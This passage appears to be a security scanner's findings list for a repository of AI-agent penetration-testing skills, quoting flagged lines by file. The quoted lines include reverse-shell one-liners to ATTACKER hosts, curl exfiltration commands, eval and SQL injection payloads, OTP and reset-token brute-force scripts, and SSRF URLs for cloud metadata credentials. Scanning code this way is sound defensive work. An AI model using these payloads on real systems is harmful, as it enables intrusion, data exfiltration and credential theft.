    1. Find open redirect on the app: `https://app.com/go?url=https://attacker.com`
  • Network accessline 527
    2. Use as redirect_uri: `https://IDP/authorize?...&redirect_uri=https://app.com/go?url=https://attacker.com`

skills/web/password-reset-poisoning/SKILL.md

  • Network accessline 19
    - burpsuite   - curl   - ffuf
  • Network accessline 20
    - curl   - ffuf opsec: low
  • Network accessline 82
    [Credential-related source omitted]
  • Network accessline 83
    https://target.com/reset/abc123def456
  • Network accessline 84
    [Credential-related source omitted]
  • Network accessline 109
    [Credential-related source omitted]
  • Network accessline 158
    POST https://target.com/reset-password HTTP/1.1
  • Network accessline 178
    [Credential-related source omitted]
  • Network accessline 179
    [Credential-related source omitted]
  • Network accessline 244
    # Request multiple tokens and collect them for i in $(seq 1 20); do   curl -s -X POST "https://target.com/reset-password" \
  • Network accessline 245
    for i in $(seq 1 20); do   curl -s -X POST "https://target.com/reset-password" \     -d "email=testuser@target.com" > /dev/null
  • Network accessline 246
    curl -s -X POST "https://target.com/reset-password" \
  • Network accessline 282
    curl -s -X POST "https://target.com/reset-confirm" \
  • Network accessline 293
    # Wait 2 hours sleep 7200 curl -s -X POST "https://target.com/reset-confirm" \
  • Network accessline 294
    [Credential-related source omitted]
  • Network accessline 295
    curl -s -X POST "https://target.com/reset-confirm" \
  • Network accessline 307
    # 4-digit numeric token (10,000 combinations) ffuf -u "https://TARGET/reset-confirm" \
  • Network accessline 308
    ffuf -u "https://TARGET/reset-confirm" \
  • Network accessline 323
    url = "https://TARGET/reset-confirm"
  • Network accessline 333
    [Credential-related source omitted]
  • Network accessline 334
    }     r = requests.post(url, data=data, headers=headers)     if r.status_code == 200 and "success" in r.text.lower():
  • Network accessline 335
    r = requests.post(url, data=data, headers=headers)
  • Network accessline 368
    # Valid account curl -s -X POST "https://TARGET/reset-password" \
  • Network accessline 369
    curl -s -X POST "https://TARGET/reset-password" \
  • Network accessline 372
    # Invalid account curl -s -X POST "https://TARGET/reset-password" \
  • Network accessline 373
    curl -s -X POST "https://TARGET/reset-password" \
  • Network accessline 384
    for email in admin root user test; do   echo -n "${email}@target.com: "   curl -s -X POST "https://TARGET/reset-password" \
  • Network accessline 385
    echo -n "${email}@target.com: "   curl -s -X POST "https://TARGET/reset-password" \     -d "email=${email}@target.com" \
  • Network accessline 386
    curl -s -X POST "https://TARGET/reset-password" \
  • Network accessline 400
    [Credential-related source omitted]
  • Network accessline 401
    [Credential-related source omitted]
  • Network accessline 433
    curl -s -H "Cookie: session=OLD_SESSION_COOKIE" \
  • Network accessline 434
    "https://TARGET/account"

skills/web/php-code-injection/SKILL.md

  • Dangerous shell operationline 4
    Exploit PHP code evaluation injection via eval(), assert(), preg_replace /e,
  • Dangerous shell operationline 11
    - eval() exploit
  • Network accessline 24
    - burpsuite   - curl opsec: medium
  • Network accessline 25
    - curl opsec: medium ---
  • Dangerous shell operationline 114
    | `eval($code)` | PHP statements | Full code execution |
  • Dangerous shell operationline 171
    ### Context A: eval() / assert() — Full Expression
  • Dangerous shell operationline 180
    exec('id',$o);implode("\n",$o)
  • Network accessline 188
    // Reverse shell system('bash -c "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1"')
  • Dangerous shell operationline 189
    system('bash -c "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1"')
  • Network accessline 189
    system('bash -c "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1"')
  • Dangerous shell operationline 194
    // Application: eval("return '$INPUT';")
  • Dangerous shell operationline 256
    When `system()`, `exec()`, `passthru()`, `shell_exec()`, `popen()`, `proc_open()`
  • Network accessline 284
    // Bash reverse shell system('bash -c "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1"')
  • Dangerous shell operationline 285
    system('bash -c "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1"')
  • Network accessline 285
    system('bash -c "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1"')
  • Dangerous shell operationline 292
    system('perl -e \'use Socket;$i="ATTACKER";$p=PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'')
  • Network accessline 304
    // HTTP exfiltration system('curl http://ATTACKER:PORT/$(whoami)')
  • Network accessline 305
    system('curl http://ATTACKER:PORT/$(whoami)')
  • Dangerous shell operationline 322
    - `system()`/`exec()` create child processes visible in `ps`
  • Dangerous shell operationline 326
    - `eval()` calls appear in PHP error stack traces
  • Dangerous shell operationline 333
    - `exec()` only returns the last line — use `system()` or `passthru()` instead
  • Dangerous shell operationline 334
    - If inside eval(), the return value may not be echoed — try `echo system('id')`

skills/web/python-code-injection/SKILL.md

  • Dangerous shell operationline 4
    Exploit Python eval(), exec(), and compile() injection in web applications.
  • Dangerous shell operationline 9
    - eval() exploit
  • Dangerous shell operationline 10
    - exec() injection
  • Network accessline 21
    - burpsuite   - curl opsec: medium
  • Network accessline 22
    - curl opsec: medium ---
  • Dangerous shell operationline 28
    You are helping a penetration tester exploit Python code injection via eval(),
  • Dangerous shell operationline 29
    exec(), or compile(). The target application passes user-controlled input to a
  • Dangerous shell operationline 39
    rendering engines. This skill targets direct eval()/exec() calls in application
  • Dangerous shell operationline 55
    This skill covers Python code injection through eval(), exec(), and compile()
  • Dangerous shell operationline 91
    - A parameter that gets passed to Python eval(), exec(), or compile()
  • Dangerous shell operationline 100
    1. **Injection function** — eval() (expressions only) vs exec() (statements) vs
  • Dangerous shell operationline 104
    3. **Visible or blind** — is the return value of eval() reflected in the
  • Dangerous shell operationline 109
    ### Distinguishing eval() from exec()
  • Dangerous shell operationline 111
    | Feature | eval() | exec() |
  • Dangerous shell operationline 119
    If you can execute `__import__('os')` but not `import os`, it's likely eval().
  • Dangerous shell operationline 120
    If both work, it's likely exec() or compile().
  • Dangerous shell operationline 127
    result = eval(f"func('{user_input}')")
  • Dangerous shell operationline 134
    result = eval(request.args.get('expr'))
  • Dangerous shell operationline 138
    **Pattern 3: exec() with string building**
  • Dangerous shell operationline 141
    exec(f"variable = '{user_input}'")
  • Dangerous shell operationline 145
    **Pattern 4: eval() in ORM/filter context**
  • Dangerous shell operationline 148
    query = eval(f"Model.objects.filter({user_input})")
  • Dangerous shell operationline 160
    literal echo) confirms eval() injection:
  • Dangerous shell operationline 192
    this is eval() injection, not SSTI.
  • Dangerous shell operationline 207
    - The eval()/exec() call in the stack trace
  • Dangerous shell operationline 223
    eval(f"Engine.search('{INJECTION}', copy_url=False)")
  • Dangerous shell operationline 258
    Input is passed directly to eval() without wrapping:
  • Dangerous shell operationline 262
    result = eval(user_input)
  • Network accessline 274
    # Reverse shell __import__('os').system('bash -c "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1"')
  • Dangerous shell operationline 275
    __import__('os').system('bash -c "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1"')
  • Network accessline 275
    __import__('os').system('bash -c "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1"')
  • Dangerous shell operationline 284
    result = eval(f"{user_input} * price")
  • Dangerous shell operationline 298
    ### Context D: exec() with Statement Injection
  • Dangerous shell operationline 300
    If exec() is used, you can inject full Python statements:
  • Network accessline 326
    # system — returns exit code only (0 = success) __import__('os').system('id') __import__('os').system('bash -c "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1"')
  • Dangerous shell operationline 328
    __import__('os').system('bash -c "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1"')
  • Network accessline 328
    __import__('os').system('bash -c "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1"')
  • Dangerous shell operationline 337
    When the application returns the eval() result, wrap commands to ensure output
  • Network accessline 344
    # Concatenate with expected return value (stealth) 'https://google.com/'+__import__('os').popen('id').read()
  • Network accessline 345
    'https://google.com/'+__import__('os').popen('id').read()
  • Network accessline 354
    # Bash reverse shell __import__('os').system('bash -c "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1"')
  • Dangerous shell operationline 355
    __import__('os').system('bash -c "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1"')
  • Network accessline 355
    __import__('os').system('bash -c "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1"')
  • Network accessline 357
    # Python reverse shell (if bash is restricted) __import__('os').system('python3 -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.
  • Network accessline 358
    __import__('os').system('python3 -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","
  • Network accessline 360
    # Netcat reverse shell
  • Dangerous shell operationline 361
    __import__('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER PORT >/tmp/f')
  • Network accessline 361
    __import__('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER PORT >/tmp/f')
  • Dangerous shell operationline 366
    When eval() result is not returned in the response:
  • Network accessline 375
    # HTTP exfiltration __import__('os').system('curl http://ATTACKER:PORT/$(whoami)')
  • Network accessline 376
    __import__('os').system('curl http://ATTACKER:PORT/$(whoami)')
  • Network accessline 381
    # Reverse shell (most practical for blind) __import__('os').system('bash -c "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1"')
  • Dangerous shell operationline 382
    __import__('os').system('bash -c "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1"')
  • Network accessline 382
    __import__('os').system('bash -c "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1"')
  • Network accessline 520
    Use `--data-urlencode` with curl to handle encoding automatically:
  • Network accessline 523
    curl -s -X POST http://TARGET/endpoint \
  • Network accessline 548
    1. Start a listener on the attackbox: `nc -lvnp PORT`
  • Dangerous shell operationline 570
    - eval()/exec() injection generates Python tracebacks on errors — visible in
  • Dangerous shell operationline 586
    - eval() returns the expression result — use `str()` to coerce to string
  • Dangerous shell operationline 593
    - You're likely in eval() (expression-only) and injected a statement (import,
  • Network accessline 626
    extract credentials, then pivot via SSH/internal services - Write results to a web-accessible path and retrieve via HTTP - Use the injection as a webshell equivalent: script repeated curl calls to
  • Network accessline 627
    - Write results to a web-accessible path and retrieve via HTTP - Use the injection as a webshell equivalent: script repeated curl calls to   execute commands and retrieve output
  • Network accessline 628
    - Use the injection as a webshell equivalent: script repeated curl calls to

skills/web/race-condition/SKILL.md

  • Network accessline 63
    - Burp Suite with Turbo Intruder extension (primary tool) - Python 3 with `httpx` and `asyncio` (alternative to Turbo Intruder) - HTTP/2 support on target (for single-packet attack — check with `curl --http2`)
  • Network accessline 64
    - Python 3 with `httpx` and `asyncio` (alternative to Turbo Intruder) - HTTP/2 support on target (for single-packet attack — check with `curl --http2`) - Identified state-changing endpoint (payment, coupon, transfer, vote, etc.)
  • Network accessline 65
    - HTTP/2 support on target (for single-packet attack — check with `curl --http2`)
  • Network accessline 94
    # Check if HTTP/2 is supported (enables single-packet attack) curl -sI --http2 https://TARGET/ -o /dev/null -w '%{http_version}\n'
  • Network accessline 95
    curl -sI --http2 https://TARGET/ -o /dev/null -w '%{http_version}\n'
  • Network accessline 98
    # Measure server processing time for the target endpoint # Longer processing = wider race window curl -s -o /dev/null -w '%{time_total}\n' \
  • Network accessline 99
    # Longer processing = wider race window curl -s -o /dev/null -w '%{time_total}\n' \   -X POST https://TARGET/api/redeem -d 'code=PROMO123' \
  • Network accessline 100
    curl -s -o /dev/null -w '%{time_total}\n' \
  • Network accessline 101
    -X POST https://TARGET/api/redeem -d 'code=PROMO123' \
  • Network accessline 104
    # Check for idempotency headers (may prevent races) curl -sI -X POST https://TARGET/api/transfer -d 'amount=100' \
  • Network accessline 105
    curl -sI -X POST https://TARGET/api/transfer -d 'amount=100' \
  • Network accessline 210
    URL = "https://TARGET/api/redeem"
  • Network accessline 218
    async def main():     async with httpx.AsyncClient(http2=True, verify=False) as client:
  • Network accessline 219
    async with httpx.AsyncClient(http2=True, verify=False) as client:
  • Network accessline 317
    async def reset(client, password):     resp = await client.post("https://TARGET/reset", data={
  • Network accessline 318
    resp = await client.post("https://TARGET/reset", data={
  • Network accessline 323
    async def main():     async with httpx.AsyncClient(http2=True, verify=False) as client:
  • Network accessline 324
    async with httpx.AsyncClient(http2=True, verify=False) as client:
  • Network accessline 423
    async def brute_otp(client, code):     resp = await client.post("https://TARGET/api/verify", data={
  • Network accessline 424
    resp = await client.post("https://TARGET/api/verify", data={
  • Network accessline 429
    async def main():     # HTTP/2 multiplexes all requests on single connection     async with httpx.AsyncClient(http2=True, verify=False) as client:
  • Network accessline 430
    # HTTP/2 multiplexes all requests on single connection     async with httpx.AsyncClient(http2=True, verify=False) as client:         for batch_start in range(0, 1000000, 100):
  • Network accessline 431
    async with httpx.AsyncClient(http2=True, verify=False) as client:
  • Network accessline 471
    client = httpx.Client(http2=True, verify=False)
  • Network accessline 472
    for batch in range(0, 1000000, 100):     query = build_alias_query(batch, 100)     resp = client.post("https://TARGET/graphql",
  • Network accessline 473
    query = build_alias_query(batch, 100)     resp = client.post("https://TARGET/graphql",         json={"query": query},
  • Network accessline 474
    resp = client.post("https://TARGET/graphql",
  • Network accessline 493
    async def try_code(client, code, session):     resp = await client.post("https://TARGET/api/verify", data={
  • Network accessline 494
    resp = await client.post("https://TARGET/api/verify", data={
  • Network accessline 499
    async def main():     async with httpx.AsyncClient(http2=True, verify=False) as client:
  • Network accessline 500
    async with httpx.AsyncClient(http2=True, verify=False) as client:
  • Network accessline 617
    # Balance check — was it debited more than once? curl -s https://TARGET/api/balance -H "Cookie: session=SESSIONID" | jq .
  • Network accessline 618
    curl -s https://TARGET/api/balance -H "Cookie: session=SESSIONID" | jq .
  • Network accessline 620
    # Coupon check — was the discount applied multiple times? curl -s https://TARGET/api/cart -H "Cookie: session=SESSIONID" | jq .total
  • Network accessline 621
    curl -s https://TARGET/api/cart -H "Cookie: session=SESSIONID" | jq .total
  • Network accessline 623
    # Vote count — did it exceed the limit? curl -s https://TARGET/api/items/123 -H "Cookie: session=SESSIONID" | jq .votes
  • Network accessline 624
    curl -s https://TARGET/api/items/123 -H "Cookie: session=SESSIONID" | jq .votes

skills/web/request-smuggling/SKILL.md

  • Network accessline 83
    # Detect front-end/back-end via headers curl -sI https://TARGET/ | grep -iE 'server|via|x-powered|x-cache|x-forwarded'
  • Network accessline 84
    curl -sI https://TARGET/ | grep -iE 'server|via|x-powered|x-cache|x-forwarded'
  • Network accessline 86
    # Check HTTP/2 support curl -sI --http2 https://TARGET/ -o /dev/null -w '%{http_version}\n'
  • Network accessline 87
    curl -sI --http2 https://TARGET/ -o /dev/null -w '%{http_version}\n'
  • Network accessline 89
    # smuggler.py — automated detection python3 -m smuggler -u https://TARGET/
  • Network accessline 90
    python3 -m smuggler -u https://TARGET/
  • Network accessline 356
    # h2csmuggler — automated h2c upgrade attack # BishopFox version: python3 h2csmuggler.py -x https://TARGET/ --test
  • Network accessline 358
    python3 h2csmuggler.py -x https://TARGET/ --test
  • Network accessline 446
    1. Victim connects to `evil.com` (attacker page) 2. `evil.com` embeds `<img src="https://internal.company/secret">`
  • Network accessline 447
    2. `evil.com` embeds `<img src="https://internal.company/secret">`
  • Network accessline 528
    # smuggler.py — test all CL/TE variants python3 -m smuggler -u https://TARGET/
  • Network accessline 529
    python3 -m smuggler -u https://TARGET/
  • Network accessline 531
    # smuggleFuzz — HTTP/2 and HTTP/3 brute-force smugglefuzz -url https://TARGET/
  • Network accessline 532
    smugglefuzz -url https://TARGET/

skills/web/smb-share-webshell/SKILL.md

  • Network accessline 27
    - netexec   - curl opsec: medium
  • Network accessline 28
    - curl opsec: medium ---
  • Network accessline 208
    # Trigger: curl -s "http://TARGET/shell.ashx?c=whoami"
  • Network accessline 231
    # PHP curl -s "http://TARGET/shell.php?cmd=whoami"
  • Network accessline 232
    curl -s "http://TARGET/shell.php?cmd=whoami"
  • Network accessline 233
    curl -s "http://site.target.htb/shell.php?cmd=whoami"
  • Network accessline 235
    # ASPX curl -s "http://TARGET/shell.aspx?c=whoami"
  • Network accessline 236
    curl -s "http://TARGET/shell.aspx?c=whoami"
  • Network accessline 238
    # JSP curl -s "http://TARGET/shell.jsp?cmd=whoami"
  • Network accessline 239
    curl -s "http://TARGET/shell.jsp?cmd=whoami"
  • Network accessline 310
    :: From the existing shell, curl the internal site
  • Network accessline 311
    curl http://localhost:8000/shell.aspx?c=whoami
  • Network accessline 312
    powershell -c "(New-Object Net.WebClient).DownloadString('http://localhost:8000/shell.aspx?c=whoami')"

skills/web/source-code-review/SKILL.md

  • Access to secretsline 83
    [Credential-related source omitted]
  • Dangerous shell operationline 115
    Command: os.system, subprocess, exec(, eval(, popen, child_process, shell=True
  • Network accessline 117
    Deserialization: pickle.loads, yaml.load, unserialize, readObject, JsonConvert  Path: open(, file_get_contents, include(, require(, sendFile, os.path.join  SSRF: requests.get, urllib, fetch(, HttpClient with variable URL
  • Network accessline 118
    Path: open(, file_get_contents, include(, require(, sendFile, os.path.join  SSRF: requests.get, urllib, fetch(, HttpClient with variable URL  XSS: innerHTML, document.write, v-html, dangerouslySetInnerHTML"
  • Network accessline 119
    SSRF: requests.get, urllib, fetch(, HttpClient with variable URL
  • Dangerous shell operationline 141
    **Node/Express:** `eval()` with user input, prototype pollution, NoSQL
  • Dangerous shell operationline 190
    `eval(base64_decode(` patterns. For compiled languages: note in findings

skills/web/sql-injection-blind/SKILL.md

  • Network accessline 352
    # Boolean-based only sqlmap -u "https://TARGET/page?id=1" --batch --technique=B --dbs
  • Network accessline 353
    sqlmap -u "https://TARGET/page?id=1" --batch --technique=B --dbs
  • Network accessline 355
    # Time-based only sqlmap -u "https://TARGET/page?id=1" --batch --technique=T --dbs
  • Network accessline 356
    sqlmap -u "https://TARGET/page?id=1" --batch --technique=T --dbs
  • Network accessline 358
    # Both blind techniques sqlmap -u "https://TARGET/page?id=1" --batch --technique=BT --dbs
  • Network accessline 359
    sqlmap -u "https://TARGET/page?id=1" --batch --technique=BT --dbs
  • Network accessline 361
    # Increase time-based delay for unreliable networks sqlmap -u "https://TARGET/page?id=1" --batch --technique=T --time-sec=5 --dbs
  • Network accessline 362
    sqlmap -u "https://TARGET/page?id=1" --batch --technique=T --time-sec=5 --dbs
  • Network accessline 364
    # Increase threads for faster boolean extraction sqlmap -u "https://TARGET/page?id=1" --batch --technique=B --threads=8 --dbs
  • Network accessline 365
    sqlmap -u "https://TARGET/page?id=1" --batch --technique=B --threads=8 --dbs

skills/web/sql-injection-error/SKILL.md

  • Network accessline 233
    # Error-based technique only sqlmap -u "https://TARGET/page?id=1" --batch --technique=E --dbs
  • Network accessline 234
    sqlmap -u "https://TARGET/page?id=1" --batch --technique=E --dbs

skills/web/sql-injection-stacked/SKILL.md

  • Dangerous shell operationline 121
    admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
  • Network accessline 142
    '; COPY (SELECT '') TO PROGRAM 'id > /tmp/out.txt'--+ '; COPY (SELECT '') TO PROGRAM 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'--+
  • Dangerous shell operationline 143
    '; COPY (SELECT '') TO PROGRAM 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'--+
  • Network accessline 143
    '; COPY (SELECT '') TO PROGRAM 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'--+
  • Network accessline 227
    sqlmap -r register.txt -p username --second-url "http://TARGET/profile.php"
  • Network accessline 294
    # Stacked queries technique only sqlmap -u "https://TARGET/page?id=1" --batch --technique=S --dbs
  • Network accessline 295
    sqlmap -u "https://TARGET/page?id=1" --batch --technique=S --dbs
  • Network accessline 297
    # OS shell (auto-selects xp_cmdshell or COPY TO PROGRAM) sqlmap -u "https://TARGET/page?id=1" --batch --os-shell
  • Network accessline 298
    sqlmap -u "https://TARGET/page?id=1" --batch --os-shell
  • Network accessline 300
    # SQL shell for manual stacked execution sqlmap -u "https://TARGET/page?id=1" --batch --sql-shell
  • Network accessline 301
    sqlmap -u "https://TARGET/page?id=1" --batch --sql-shell
  • Network accessline 303
    # Second-order sqlmap -r store-request.txt -p username --second-url "http://TARGET/trigger"
  • Network accessline 304
    sqlmap -r store-request.txt -p username --second-url "http://TARGET/trigger"

skills/web/sql-injection-union/SKILL.md

  • Network accessline 280
    # Basic UNION extraction sqlmap -u "https://TARGET/page?id=1" --batch --technique=U --dbs
  • Network accessline 281
    sqlmap -u "https://TARGET/page?id=1" --batch --technique=U --dbs

skills/web/ssrf/SKILL.md

  • Network accessline 71
    **LFI crossover:** If you arrived from the lfi skill because `file_get_contents()` or similar accepts `http://` URLs, the injection point is the same LFI parameter.
  • Network accessline 72
    or similar accepts `http://` URLs, the injection point is the same LFI parameter.
  • Network accessline 93
    http://127.0.0.1
  • Network accessline 94
    http://localhost
  • Network accessline 95
    http://0.0.0.0
  • Network accessline 96
    http://[::1]
  • Network accessline 97
    http://127.0.0.1:80
  • Network accessline 98
    http://127.0.0.1:8080
  • Network accessline 99
    http://127.0.0.1:443
  • Network accessline 105
    http://10.0.0.1
  • Network accessline 106
    http://172.16.0.1
  • Network accessline 107
    http://192.168.1.1
  • Network accessline 108
    http://192.168.0.1:8080
  • Network accessline 130
    http://[::]:80/
  • Network accessline 131
    http://[0000::1]:80/
  • Network accessline 132
    http://[::ffff:127.0.0.1]
  • Network accessline 133
    http://[0:0:0:0:0:ffff:127.0.0.1]
  • Network accessline 149
    http://127.127.127.127
  • Network accessline 150
    http://127.0.1.3
  • Network accessline 151
    http://127.0.0.0
  • Network accessline 157
    http://0/
  • Network accessline 158
    http://127.1
  • Network accessline 159
    http://127.0.1
  • Network accessline 166
    http://2130706433/        = 127.0.0.1
  • Network accessline 167
    http://2852039166/        = 169.254.169.254
  • Network accessline 172
    http://0x7f000001         = 127.0.0.1
  • Network accessline 173
    http://0xa9fea9fe         = 169.254.169.254
  • Network accessline 178
    http://0177.0.0.1/        = 127.0.0.1
  • Network accessline 179
    http://0251.0376.0251.0376 = 169.254.169.254
  • Network accessline 184
    http://0251.254.169.254   = 169.254.169.254 (octal + decimal)
  • Network accessline 190
    http://127.0.0.1/%61dmin       (single encode)
  • Network accessline 191
    http://127.0.0.1/%2561dmin     (double encode)
  • Network accessline 197
    http://127.1.1.1:80\@127.2.2.2:80/
  • Network accessline 198
    http://127.1.1.1:80\@@127.2.2.2:80/
  • Network accessline 199
    http://127.1.1.1:80#\@127.2.2.2:80/
  • Network accessline 203
    Different parsers resolve `http://1.1.1.1 &@2.2.2.2# @3.3.3.3/` differently: urllib2 → 1.1.1.1, requests → 2.2.2.2, urllib → 3.3.3.3.
  • Network accessline 214
    # Using r3dir.me (no server needed) https://307.r3dir.me/--to/?url=http://localhost
  • Network accessline 215
    https://307.r3dir.me/--to/?url=http://localhost
  • Network accessline 216
    https://307.r3dir.me/--to/?url=http://169.254.169.254/latest/meta-data/
  • Network accessline 221
    # Usage: python3 redir.py <target_url> [port] # Example: python3 redir.py http://127.0.0.1:9001/ 8888
  • Network accessline 222
    # Example: python3 redir.py http://127.0.0.1:9001/ 8888
  • Network accessline 231
    def log_message(self, *a): pass HTTPServer(('0.0.0.0', int(sys.argv[2]) if len(sys.argv)>2 else 8888), R).serve_forever() " "http://127.0.0.1:PORT/path" 8888
  • Network accessline 233
    " "http://127.0.0.1:PORT/path" 8888
  • Network accessline 236
    Then point the SSRF at `http://ATTACKBOX_IP:8888/anything`.
  • Network accessline 258
    http://test???test.com
  • Network accessline 259
    0://evil.com:80;http://google.com:80/
  • Network accessline 265
    jar:http://127.0.0.1!/
  • Network accessline 266
    jar:https://127.0.0.1!/
  • Network accessline 272
    http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ = example.com
  • Network accessline 280
    http://169.254.169.254/latest/meta-data/
  • Network accessline 281
    http://169.254.169.254/latest/meta-data/iam/security-credentials/
  • Network accessline 282
    http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE]
  • Network accessline 283
    http://169.254.169.254/latest/user-data
  • Network accessline 284
    http://169.254.169.254/latest/dynamic/instance-identity/document
  • Network accessline 285
    http://169.254.169.254/latest/meta-data/hostname
  • Network accessline 286
    http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
  • Network accessline 291
    [Credential-related source omitted]
  • Network accessline 292
    [Credential-related source omitted]
  • Network accessline 293
    [Credential-related source omitted]
  • Network accessline 294
    http://169.254.169.254/latest/meta-data/
  • Network accessline 301
    # Extract UUID from /proc/self/environ first http://169.254.170.2/v2/credentials/<UUID>
  • Network accessline 302
    http://169.254.170.2/v2/credentials/<UUID>
  • Network accessline 307
    http://localhost:9001/2018-06-01/runtime/invocation/next
  • Network accessline 313
    http://metadata.google.internal/computeMetadata/v1/
  • Network accessline 314
    http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
  • Network accessline 315
    http://metadata.google.internal/computeMetadata/v1/project/project-id
  • Network accessline 316
    http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env?alt=json
  • Network accessline 321
    http://metadata.google.internal/computeMetadata/v1beta1/
  • Network accessline 322
    http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token
  • Network accessline 333
    http://169.254.169.254/metadata/instance?api-version=2021-02-01
  • Network accessline 334
    http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
  • Network accessline 339
    | Provider | Metadata URL | |---|---| | Digital Ocean | `http://169.254.169.254/metadata/v1.json` |
  • Network accessline 340
    |---|---| | Digital Ocean | `http://169.254.169.254/metadata/v1.json` | | Oracle Cloud | `http://192.0.0.192/latest/meta-data/` |
  • Network accessline 341
    | Digital Ocean | `http://169.254.169.254/metadata/v1.json` |
  • Network accessline 342
    | Oracle Cloud | `http://192.0.0.192/latest/meta-data/` |
  • Network accessline 343
    | Alibaba | `http://100.100.100.200/latest/meta-data/` |
  • Network accessline 344
    | Hetzner | `http://169.254.169.254/hetzner/v1/metadata` |
  • Network accessline 349
    # Kubernetes ETCD http://127.0.0.1:2379/v2/keys/?recursive=true
  • Network accessline 350
    http://127.0.0.1:2379/v2/keys/?recursive=true
  • Network accessline 352
    # Docker API http://127.0.0.1:2375/v1.24/containers/json
  • Network accessline 353
    http://127.0.0.1:2375/v1.24/containers/json
  • Network accessline 355
    # Rancher http://rancher-metadata/latest/
  • Network accessline 356
    http://rancher-metadata/latest/
  • Network accessline 427
    # OOB callback (Burp Collaborator / interactsh) http://COLLABORATOR.oastify.com
  • Network accessline 428
    http://COLLABORATOR.oastify.com
  • Network accessline 429
    http://ATTACKER.interactsh.com
  • Network accessline 431
    # Time-based (compare response time for open vs closed ports) http://127.0.0.1:22    # SSH — fast connect
  • Network accessline 432
    http://127.0.0.1:22    # SSH — fast connect
  • Network accessline 433
    http://127.0.0.1:1234  # closed — timeout
  • Network accessline 440
    | Service | Exploit | |---|---| | Elasticsearch | `http://127.0.0.1:9200/_shutdown` |
  • Network accessline 441
    |---|---| | Elasticsearch | `http://127.0.0.1:9200/_shutdown` | | Jenkins | `http://127.0.0.1:8080/script` |
  • Network accessline 442
    | Elasticsearch | `http://127.0.0.1:9200/_shutdown` |
  • Network accessline 443
    | Jenkins | `http://127.0.0.1:8080/script` |
  • Network accessline 444
    | Docker | `http://127.0.0.1:2375/containers/json` |
  • Network accessline 445
    | Redis (via HTTP) | Write webshell via CONFIG SET | | Consul | `http://127.0.0.1:8500/v1/agent/self` | | Solr | `http://127.0.0.1:8983/solr/admin/cores` |
  • Network accessline 446
    | Consul | `http://127.0.0.1:8500/v1/agent/self` |
  • Network accessline 447
    | Solr | `http://127.0.0.1:8983/solr/admin/cores` |
  • Network accessline 449
    Full list: [assetnote/blind-ssrf-chains](https://github.com/assetnote/blind-ssrf-chains)
  • Network accessline 455
    http://attacker.com/xss.svg
  • Network accessline 460
    <svg xmlns="http://www.w3.org/2000/svg">
  • Access to secretsline 478
    [Credential-related source omitted]
  • Network accessline 500
    - The app may strip non-http protocols — try `http://` only with internal IPs

skills/web/ssti-freemarker/SKILL.md

  • Network accessline 322
    http://TARGET/(${T(java.lang.Runtime).getRuntime().exec('id')})
  • Network accessline 378
    # SSTImap python3 sstimap.py -u 'https://TARGET/page?name=test' -s
  • Network accessline 379
    python3 sstimap.py -u 'https://TARGET/page?name=test' -s
  • Network accessline 381
    # tplmap python2.7 tplmap.py -u 'https://TARGET/page?name=test*' --os-shell
  • Network accessline 382
    python2.7 tplmap.py -u 'https://TARGET/page?name=test*' --os-shell
  • Network accessline 384
    # TInjA — good for polyglot-based engine detection tinja url -u "https://TARGET/page?name=test"
  • Network accessline 385
    tinja url -u "https://TARGET/page?name=test"

skills/web/ssti-jinja2/SKILL.md

  • Network accessline 301
    {{ cycler.__init__.__globals__.os.popen('curl https://ATTACKER/?data=$(id|base64)').read() }}
  • Network accessline 334
    # SSTImap — automatic SSTI detection and exploitation python3 sstimap.py -u 'https://TARGET/page?name=test' -s
  • Network accessline 335
    python3 sstimap.py -u 'https://TARGET/page?name=test' -s
  • Network accessline 337
    # tplmap — older but still useful python2.7 tplmap.py -u 'https://TARGET/page?name=test*' --os-shell
  • Network accessline 338
    python2.7 tplmap.py -u 'https://TARGET/page?name=test*' --os-shell
  • Network accessline 340
    # TInjA — polyglot-based SSTI scanner tinja url -u "https://TARGET/page?name=test"
  • Network accessline 341
    tinja url -u "https://TARGET/page?name=test"
  • Network accessline 343
